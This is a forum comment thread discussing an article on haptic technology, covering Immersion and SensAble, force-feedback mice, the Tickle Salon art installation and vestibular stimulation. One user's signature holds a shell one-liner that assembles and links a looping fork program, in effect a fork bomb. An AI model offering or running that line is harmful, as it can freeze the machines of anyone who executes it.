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Current State of Haptic Research

prostoalex writes "An article on InformIT.com looks at the current state of haptic technologies: "In the consumer realm, two companies dominate the field in the creation of tactile I/O devices: Immersion Corporation and SensAble Technologies. Right now, each seems interested in consolidating a position in the marketplace.""

19 of 51 comments (clear)

  1. definition for those of you like me. by PrinceAshitaka · · Score: 5, Informative

    haptic (hptk) adj. Of or relating to the sense of touch; tactile.

    --
    quis custodiet ipsos custodes
    1. Re:definition for those of you like me. by Tony+Hoyle · · Score: 4, Funny

      Ahh so it's an interactive porn device.

      Why didn't they say so?

  2. Another definition by th1ckasabr1ck · · Score: 5, Informative

    "haptic touch" is the name of the system that lets us feel stuff through objects we hold, to "feel the road through the stick or cane, or even through the wheels of a car we are driving."

  3. What about the Sinulator? by Anonymous Coward · · Score: 3, Funny

    I'm more interested in what this means for advancements in the Sinulator. Now that's what I want when I say, "Reach out and touch someone."

  4. Article Text by eclectro · · Score: 3, Funny


    Mechanical fondleability someday.

    --
    Take the cheese to sickbay, the doctor should see it as soon as possible - B'Elanna Torres, "Learning Curve"
    1. Re:Article Text by Hal_Porter · · Score: 3, Funny

      Having your box owned will be much more serious.

      Ha, now the f**kers will remember to keep their boxes updated.

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  5. Immersion by UWC · · Score: 2, Interesting

    Is Immersion the company that sued Sony and Microsoft over certain portions and uses of their force feedback functionalities?

    1. Re:Immersion by kid_wonder · · Score: 2, Informative

      Yup. And looks like they won.

      News here

      --

      "Oh, you hate your job? There's a support group for that, it's called everyone, they meet at the bar."
  6. Media Blitz Planned by robocrop · · Score: 5, Funny

    "Okay, gentlemen. We've been hired to plan a media blitz for a new company."
    "What do they do?"
    "Well, they research and market haptic peripherals."
    "Huh?"
    "Basically the stuff that reads your fingerprints. They want something fresh, exciting - something to pull the youth market."
    "Okay ... how about an MTV-style commercial with kids dancing to 'Can't Touch This'?"
    [SILENCE]
    "Maybe what they really need is a catchy slogan."
    "How about 'InGen Haptic Peripherals: OUR devices can recognize a severed finger. Can THEIRS?'".
    "This is going to be a long day."

  7. Let's try again... by bjpirt · · Score: 2, Informative

    An article on InformIT.com looks at the current state of haptic technologies: "In the consumer realm, two companies dominate the field in the creation of tactile I/O devices: Immersion Corporation and SensAble Technologies. Right now, each seems interested in consolidating a position in the marketplace.

  8. "Tickle Salon" at SIGGRAPH 2004 by peter303 · · Score: 4, Interesting

    The device is a little hard to see in the picture: A person lies prone on a table, front or back down. Then a computer guided "thingee" hanging from a ceiling wire slides back and forth various parts of your skin. I think it can change the amount of pressure. The version at the show appeared to be entirely computer-run. People using it reported either being soothed or tickled.

    I presume this could be converted into a teledildonic device by adding human control to the machine. Someone could say something erotic and touch various places on the body.

    1. Re:"Tickle Salon" at SIGGRAPH 2004 by groomed · · Score: 2, Informative

      What makes the Tickle Salon special is that the tickling brush acts as a sensor as well: it can learn your body contours and use those to apply various strokes in whatever manner you find pleasurable. In other words, the software driving the Tickle Salon actually knows what it's tickling.

      Notably, the Tickle Salon was conceived as an art project, and builds on a long line of other work by the artistic duo notnot. Most of it touches on themes of growth and emergence. It's really exciting to see the Tickle Salon draw so much attention from outside the art world.

      I presume this could be converted into a teledildonic device by adding human control to the machine.

      That would basically obliterate the concept. The whole point of the Tickle Salon is to get the human out of the loop -- or, if you prefer, to put some organic sense into machinery.

  9. look, the day star by phyruxus · · Score: 2, Funny
    "I'm not sure if he's tuned in the future perfectly here, but it does suggest that periodically we should all shut off the power and use our original equipment to perceive the outside world."

    NEVER!!!

    --
    "A witty saying proves nothing." ~Voltaire
    "d'Oh!" ~Homer
  10. A good use by Anonymous Coward · · Score: 2, Informative

    Actually, there's some very interesting stuff going on, which you wouldn't guess from this rather breathless article. Bill Baxter has created a paint application that you can steer using Sensable's Phantom -- which works like a brush, feels like a brush that's being dragged through paint, and the application mimics paint in a natural way. Really exiting stuff.

  11. Logitech iFeel mouse by ManxStef · · Score: 2, Interesting

    Did anyone else get one of these? I actually thought it wasn't bad - it's an optical mouse that used Immersion's force-feedback tech:
    http://www.sharkygames.com/hardware/reviews/contro ller/ifeel/
    http://www.firingsquad.com/hardware/ifeelmm/defaul t.asp

    You'd think that f-f in a mouse would throw off the cursor but that wasn't really the case; it had five or six modes from gentle to pretty strong, and was supported by a few games (as well as pretty pointless desktop & MS Office integration).

    I got it when Black & White came out 'cause I was intrigued by B&W's game control interface (a single "hand" cursor that changed depending on the environment, and even used gestures to cast spells). Esp. liked the way they customised a few missions for this mouse -- one in particular was great: you found an old hippy/head-type guy standing by a cauldron scratching his head. He was looking for some mushrooms but wasn't sure which one would give him the best trip, so you had to go picking for him & when the cursor hovered over each one the force-feedback would buzz depending on how strong the 'shroom was :)

    Shame they never took off, really, I'd have thought -- esp. given the prevalence of the mouse as a PC game controller -- that there may have been a half-decent market for them, but, hey, I guess not? Suppose it's one of those things that most people are pretty indifferent to, and without the support of major developers it wasn't going to go too far. Ah well!

    1. Re:Logitech iFeel mouse by Watersharer · · Score: 2, Interesting

      The iFeel mouse was the best gaming mouse ever, IMHO. UT had a patch for it, and it was/is (as I still use mine to play UT) the best addition to FPS gaming I could think of. Really added to the experience. Very distinctive feedback for each weapon, and also for hits that the player takes, which helps a lot more than you think. I hardly notice when my health goes down, but I always knew to jump away when the mouse started to give warning. Rather amazing range of tactile feedback too.

      The biggest problem with adoption by the gaming community was the ass-backwards marketing done by Immersion. They pushed it as a Office and Word tool, rather than its much more obvious market. Real bonehead by the marketing team.

      --
      Only tyrants and oppressors need fear a well armed populace.
  12. Awesome article. by old_skul · · Score: 4, Interesting

    I used to run a web page devoted to FF and haptics called Force One, back in the day. I've been out to visit with both SensAble and Immersion; they both make very advanced and very different products.

    The article mentioned goes into better detail, but in short, Immersion is in the retail and medical space, while SensAble is in the industrial and design spaces.

    It's interesting to see what's happened in the consumer space in the past few years; there was a strong push in the very beginning from companies like Logitech and Microsoft (amongst others) to put FF on the map in gaming. As it's turned out, there's no longer a big focus on it; graphics have remained the dominant force (sorry, bad pun!) in gaming. Even sound is falling off the map; FF is far down the list of developer's priorities.

    This has always bothered me; while graphics have had a huge focus, and therefore have progressed at a breakneck pace, haptics and other sensory channels have been largely ignored. At one point there was a researcher working with technology that would stimulate your vestibular nerves externally with an electric field. This nerve controls your sense of balance and motion; he'd put together an API that would interface with 3D graphics. So you'd wear this device that had metal contacts that go behind your ears, and you'd "feel" the motion in a first-person game. (He claimed no one ever got motion sick in testing. I call BS.)

    I hope they continue moving forward with some of this stuff.

  13. Interesting Haptic Applications by uhead · · Score: 2, Informative
    Many interesting haptic applications I have come across were not mentioned in the article. SensAble's Phantom devices are being used for simulations like painting, sticking needles in people, and feeling up a cow's rear. Some games have also been developed for or integrated with the Phantom, such as Haptic Battle Pong (previously discussed on Slashdot), Haptic BlockTower, Haptic Dueling Game, and Haptic Quake (my own creation).

    I expect we can also look forward to seeing many great new haptic applications being created as a result of SensAble contest that the article mentions. Being able to feel and interact with simulated objects in a very intuitive way will undoubtedly become an increasingly import part of how we use computers.

    I would personally appreciate hearing from anyone out there who has an interesting haptic application in the works (or wants to hear about mine). scottgilroy2000 - a - yahoo dot com

  14. I remember this... by cr0sh · · Score: 2, Informative
    At one point there was a researcher working with technology that would stimulate your vestibular nerves externally with an electric field.

    I remember this - IIRC, it was an actual company with a developed product who was doing a combo beta/dev program, where you could buy the API and a device for around $200.00 or so to develop on it. Also, it was based around the same stimulus principles behind medical devices used to stimulate the vestibular system for vertigo research (so I call BS with you). The main idea was that the device could be used in conjunction with a fully immersive HMD setup, so that there would be one more sensory input to the body (simulating motion, etc) in addition to the visual, to help reduce simulator sickness issues...

    I have always wondered how well it worked, and why it never went anywhere (probably because no one bought HMDs - thus no need for their product, either - at least in the consumer sector)...

    --
    Reason is the Path to God - Anon